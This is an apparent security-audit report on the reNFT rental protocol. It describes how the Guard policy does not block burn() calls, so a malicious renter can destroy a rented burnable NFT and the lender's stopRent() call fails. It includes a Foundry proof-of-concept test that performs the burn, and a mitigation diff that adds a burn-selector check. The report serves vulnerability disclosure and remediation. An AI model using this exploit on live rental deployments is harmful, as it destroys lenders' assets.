reNFT - yashar's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195

Vulnerability details

Impact

Exploiting this vulnerability allows malicious renters to burn rented tokens with burnable functionality, potentially resulting in a severe loss of assets for lenders, as their tokens become susceptible to destruction

Proof of Concept

According to the README file of the contest all tokens supported by Seaport are supported here:

There are no restrictions placed on what 721/1155 tokens protocol can interact with. Similarly to ERC20 token support, all tokens supported by Seaport are supported here.

It's noteworthy that Seaport also accommodates NFTs with a burn mechanism, as explained in this article on OpenSea's website.

There's a Guard contract in this protocol that serves as an interface for all behavior related to guarding transactions originating from a rental wallet. It prevents transfers of ERC721 and ERC1155 tokens while a rental is active, as well as inhibiting token approvals and enabling non-whitelisted Gnosis Safe modules. The Guard policy performs all these checks within the _checkTransaction() function. Link to code

Notably, there are no checks in place to prevent the calling of the burn() function. Since this protocol supports NFTs with a burn mechanism, a malicious renter can exploit this vulnerability to burn the NFT right after ownership has transferred to their Gnosis Safe.

• Alice signs a Seaport order for lending out her asset, which includes a burn mechanism
• Bob, a malicious renter, fulfills the order, successfully renting Alice's NFT
• The NFT is transferred to Bob's Gnosis Safe address
• Bob calls the NFT contract through his Gnosis Safe and burns the token
• Alice attempts to stop the rent by calling stopRent(), but her transaction will revert due to the StopPolicy_ReclaimFailed() error. This occurs because there are no tokens with that ID to transfer back to her

To test the scenario please add these imports to @test/integration/Rent.t.sol:

+ import {Enum} from "@safe-contracts/common/Enum.sol";
+ import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol";
+ import {SafeL2} from "@safe-contracts/SafeL2.sol";
+ import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
+ import {IERC721Errors} from "@openzeppelin-contracts/interfaces/draft-IERC6093.sol";

Copy/paste the test case provided below into @test/integration/Rent.t.sol:

    function test_burnNFT() public {
        SafeL2 safeL2Instance;
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // get the rental order hash
        bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder);

        // assert that the rental order was stored
        assertEq(STORE.orders(rentalOrderHash), true);

        // assert that the token is in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // assert that the ERC721 is in the rental wallet of the fulfiller
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        bytes memory _data = abi.encodeWithSelector(
            MockERC721.burn.selector,
            0
        );
        bytes memory transactionSignature = SafeUtils.signTransaction(
            address(bob.safe),
            bob.privateKey,
            address(erc721s[0]),
            _data
        );
        safeL2Instance = SafeL2(bob.safe);

        // Bob (Malicious renter) burns the rented NFT using making a transaction from his Safe wallet to the token contract
        vm.prank(address(bob.addr));

        safeL2Instance.execTransaction(
            address(erc721s[0]),
            0 ether,
            _data,
            Enum.Operation.Call,
            0 ether,
            0 ether,
            0 ether,
            address(0),
            payable(address(0)),
            transactionSignature
        );

        // Reverts with ERC721NonexistentToken(0) error
        bytes4 selector = bytes4(keccak256("ERC721NonexistentToken(uint256)"));
        vm.expectRevert(abi.encodeWithSelector(selector, 0));
        erc721s[0].ownerOf(0);

        vm.warp(block.timestamp + 750);

        // When Alice (the lender) attempts to stop the rent by calling stopRent(), she encounters the StopPolicy_ReclaimFailed() error. 
        // This is because there is actually no token with that ID to transfer ;)
        vm.prank(alice.addr);
        selector = bytes4(keccak256("StopPolicy_ReclaimFailed()"));
        vm.expectRevert(abi.encodeWithSelector(selector));
        stop.stopRent(rentalOrder);
    }

Run the test:

forge test --match-test test_burnNFT

Tools Used

VSCode Foundry

Recommended Mitigation Steps

Prevent rental wallets from calling burn() function

1. Define the function selector and tokenID offset for burn() function in @src/libraries/RentalConstants.sol:

diff --git a/RentalConstants.sol.orig b/RentalConstants.sol
index d05c90c..e6e93af 100644
--- a/RentalConstants.sol.orig
+++ b/RentalConstants.sol
@@ -5,6 +5,9 @@ pragma solidity ^0.8.0;
 //                           Shared Function Selectors                         //
 /////////////////////////////////////////////////////////////////////////////////
 
+// bytes4(keccak256("burn(uint256)"));
+bytes4 constant e721_burn_selector = 0x42966c68;
+
 // bytes4(keccak256("setApprovalForAll(address,bool)"));
 bytes4 constant shared_set_approval_for_all_selector = 0xa22cb465;
 
@@ -26,6 +29,7 @@ bytes4 constant e721_transfer_from_selector = 0x23b872dd;
 
 // Token ID offsets for ERC-721
 uint256 constant e721_approve_token_id_offset = 0x44;
+uint256 constant e721_burn_token_id_offset = 0x24;
 uint256 constant e721_safe_transfer_from_1_token_id_offset = 0x64;
 uint256 constant e721_safe_transfer_from_2_token_id_offset = 0x64;
 uint256 constant e721_transfer_from_token_id_offset = 0x64;

2. Tell the Guard policy to restrict calls with burn() as function selector @src/policies/Guard.sol:

diff --git a/Guard.sol.orig b/Guard.sol
index a0a565a..8d0fe9c 100644
--- a/Guard.sol.orig
+++ b/Guard.sol
@@ -10,6 +10,8 @@ import {Kernel, Policy, Permissions, Keycode} from "@src/Kernel.sol";
 import {toKeycode} from "@src/libraries/KernelUtils.sol";
 import {Storage} from "@src/modules/Storage.sol";
 import {
+    e721_burn_selector,
+    e721_burn_token_id_offset,
     shared_set_approval_for_all_selector,
     e721_approve_selector,
     e721_safe_transfer_from_1_selector,
@@ -230,6 +232,14 @@ contract Guard is Policy, BaseGuard {
                 _loadValueFromCalldata(data, e721_approve_token_id_offset)
             );
 
+            // Check if the selector is allowed.
+            _revertSelectorOnActiveRental(selector, from, to, tokenId);
+        } else if (selector == e721_burn_selector) {
+            // Load the token ID from calldata.
+            uint256 tokenId = uint256(
+                _loadValueFromCalldata(data, e721_burn_token_id_offset)
+            );
+
             // Check if the selector is allowed.
             _revertSelectorOnActiveRental(selector, from, to, tokenId);
         } else if (selector == e1155_safe_transfer_from_selector) {

Assessed type

Access Control